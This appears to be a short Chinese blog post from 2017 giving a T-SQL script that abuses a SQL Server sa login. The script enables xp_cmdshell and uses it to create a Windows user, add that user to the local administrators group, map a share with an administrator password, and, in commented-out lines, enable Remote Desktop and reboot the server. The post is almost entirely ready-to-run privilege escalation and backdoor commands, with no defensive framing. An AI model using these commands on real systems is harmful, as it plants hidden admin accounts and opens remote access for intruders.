利用sqlserver sa更改系统密码

 

--允许修改高级属性
sp_configure 'show advanced options',1
go
reconfigure
go
--启用扩展存储命令
sp_configure 'xp_cmdshell',1
go
reconfigure
go
--系统添加一个windows用户
xp_cmdshell 'net user test password1! /add'
--新创建的用户加入到管理员
xp_cmdshell 'net localgroup administrators test /add'
--启用远程桌面(适合windows 2003系统)
--xp_cmdshell'Wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1'

-- 连接到服务器
--
xp_cmdshell 'net use \\127.0.0.1 password123456 /user:127.0.0.1\administrator'
-- 重启服务器
-- xp_cmdshell 'shutdown /r '

 

posted @ 2017-12-12 15:42  davidhou  阅读(786)  评论(0编辑  收藏  举报